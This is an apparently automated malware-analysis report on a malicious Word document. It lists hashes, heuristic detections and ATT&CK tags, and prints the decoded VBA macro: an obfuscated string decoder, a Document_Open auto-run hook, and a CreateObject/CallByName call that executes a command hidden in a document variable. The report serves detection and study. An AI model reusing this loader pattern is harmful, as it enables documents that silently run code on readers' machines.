Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b632a411b3726979…

MALICIOUS

Office (OLE)

338.0 KB Created: 2018-09-08 07:18:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: c8259503964c29f9334abad7f0efa6b7 SHA-1: 673e59fc55976c6fb9417846df641544b4a0c591 SHA-256: b632a411b37269794311f2c8f95ac27f57183b1c42c0deae2e2825d030bf5af7
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This document contains a heavily obfuscated VBA macro that executes upon opening. The macro utilizes `CreateObject` and `CallByName` to dynamically execute code, likely downloading and running a second-stage payload. The ClamAV detection and heuristic firings for obfuscated auto-exec loaders strongly indicate malicious intent.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6756955-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6756955-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 934 bytes
SHA-256: 1f127a23b7e62189bf2678c5315cf67f08e053087687d437f759cace6e38aaa9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function EA_(ByVal PI_ As String)
Dim A_ As String
Dim ZUI_ As Long
For ZUI_ = 1 To Len(PI_) Step 2
    A_ = A_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(PI_, ZUI_, 2)) - 54)
Next
EA_ = A_
End Function
Sub Document_Open()
Application.Run "VV_"
End Sub
Private Sub VV_()
CallByName CreateObject(EA_("8D8999A89FA6AA64899E9BA2A2")), EA_("88ABA4"), VbMethod, EA_(ActiveDocument.Variables("LVIZWRN").Value), 0, True
End Sub

Private Function VBSFSL_() As String
UYZIZGVKPS_(s, 1)JWNATX_:Dim XVNGEEAMXFA_ = aWLVQQPYZOL_:UYZIZGVKPS_(s, 1)JWNATX_:VBSFSL_ = TTLWBNDK_:
End Function

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